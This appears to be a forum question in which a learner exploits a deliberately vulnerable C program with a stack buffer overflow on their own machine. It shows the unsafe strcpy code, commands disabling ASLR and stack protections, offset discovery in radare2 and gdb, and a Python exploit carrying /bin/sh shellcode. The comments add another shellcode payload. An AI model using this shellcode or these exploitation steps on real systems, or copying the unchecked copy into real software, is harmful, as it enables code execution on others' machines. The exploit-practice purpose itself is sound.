I wrote this short C program to practice buffer overflow exploits:
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <inttypes.h>
char *decode(char *s){
for(int i = 0; i < strlen(s); i++){
s[i] ^= 0x15;
}
return s;
}
void get_secret(int argc, char *argv[]){
uint32_t eip_addr;
char secret[] = "}aaef/::lz`a`;wp:qDb!b,BrMvD";
char buffer[100];
if(argc > 1){
strcpy(buffer, argv[1]);
}else{
scanf("%s", buffer);
}
printf("You entered: %s\n\n", buffer);
if(strcmp(buffer, secret) == 0){
printf("Passwords match!\n");
printf("Here is the secret message: %s\n", decode(secret));
}else{
printf("Get the f!@# out of here!\n");
asm volatile("1: lea 1b, %0;": "=a"(eip_addr));
printf("EIP address: %" PRIx32 "; %" PRIu32 " bytes from main start\n",
eip_addr,eip_addr - (uint32_t)get_secret);
}
}
int main(int argc, char *argv[]){
printf("Welcome to the simple verifier!\n");
printf("Please enter your password: ");
get_secret(argc, argv);
return 0;
}
I disable ASLR
and compile it with NX
, PIE
, and CANARY
disabled:
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow
Using r2
, ragg2
and rarun2
, I find where I can overwrite the return address of get_secret()
:
~$ ragg2 -P 200 -r > pattern.txt
~$ echo "#!/usr/bin/rarun2" > profile.rr2 && echo "stdin=./pattern.txt" >> profile.rr2
~$ r2 -r profile.rr2 -d overflow
[0xf7795a20]> dc
EIP address: 804930b; 257 bytes from main start
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0
[0x41784141]> wopO 0x41784141
145
[0x41784141]>
So, now I know exactly how big my payload must be to get to the return address, 145 bytes. Now I find an address to point to on the stack using gdb
:
~$ gdb overflow_exe -q
gdb-peda$ b 20
gdb-peda$ b 25
gdb-peda$ r $(python -c 'print "A"*145+"B"*4')
gdb-peda$ c
gdb-peda$ x/200x $esp
0xffffd100: 0x39 0x25 0xfe 0xf7 0x00 0x00 0x00 0x00
0xffffd108: 0x7d 0xc5 0xe5 0x41 0x41 0x41 0x41 0x41
0xffffd110: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd118: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd120: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd128: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd130: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd138: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd140: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd148: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd150: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd158: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd160: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd168: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd170: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd178: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd180: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd188: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd190: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd198: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42
0xffffd1a0: 0x00 0x00 0x00 0x00 0x74 0xd2 0xff 0xff
0xffffd1a8: 0x80 0x28 0xe2 0xf7 0x55 0x93 0x04 0x08
0xffffd1b0: 0x02 0x00 0x00 0x00 0x74 0xd2 0xff 0xff
0xffffd1b8: 0x80 0xd2 0xff 0xff 0xe0 0xd1 0xff 0xff
0xffffd1c0: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
gdb-peda$
I should be able to replace those \x41
s with \x90
s, append my shellcode to it, then some address on the stack on to the end of that, making my payload look something like this:
"\x90"*117 + </bin/sh shellcode> + <some address that's filled with \x90>
Using this logic, I picked an address in the middle on the NOPs, 0xffffd150
, and crafted the following python exploit:
#!/usr/bin/env python
import struct, os
#land in middle of NOPs
ret_addr = 0xffffd150
#shellcode -> 28 bytes
shell_code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
#correct endianess
def conv(val):
return struct.pack('<I', val)
# Build the exploit string
# 149 bytes to overwrite the ret addr total
# Need to take 28 bytes for the shellcode and 4 for the return addr
# 145 - 28 = 117
exp = "\x90"*117
exp += shell_code # at the ret addr (145 bytes) here
exp += conv(ret_addr)
print("Starting exploit")
os.system("./overflow_exe "+exp)
But...I keep getting an Illegal instruction fault:
~$ ./overflow_exploit.py
Starting exploit
Welcome to the simple verifier!
Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°
1�@̀P���
Get the f!@# out of here!
EIP address: 804930b; 257 bytes from main start
Illegal instruction
Back in gdb
I can see the NOP sled, shellcode, and return address, all where they should be:
gdb-peda$ x/200x $esp
0xffffd120: 0xf7fe2539 0x00000000 0x90e5c57d 0x90909090
0xffffd130: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd140: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd150: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd160: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd170: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd180: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd190: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1a0: 0x6850c031 0x68732f2f 0x69622f68 0x89e3896e
0xffffd1b0: 0xb0c289c1 0x3180cd0b 0x80cd40c0 0xffffd150
I'm at a loss. I re-check the binary's security features, and NX is still disabled (which is the only reason I can think of to explain the shellcode eliciting an "Illegal instruction" fault):
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
Why is my exploit throwing an Illegal instruction
fault when all security features are disabled, and my shellcode is in the correct position on the stack?
I'm on Debian 9
gdb
with thesi
(stepi
) command. You will get a more accurate information about what does cause the problem. Also, uselayout next
a few time until you get the assembly displayed.$(python -c 'print "\x90"*65 + "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"A"*50+"\x50\xdc\xff\xff"')
, I getsh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���: not found
XOR EAX, EAX PUSH RAX
instead of (on x86_32)XOR EAX, EAX PUSH EAX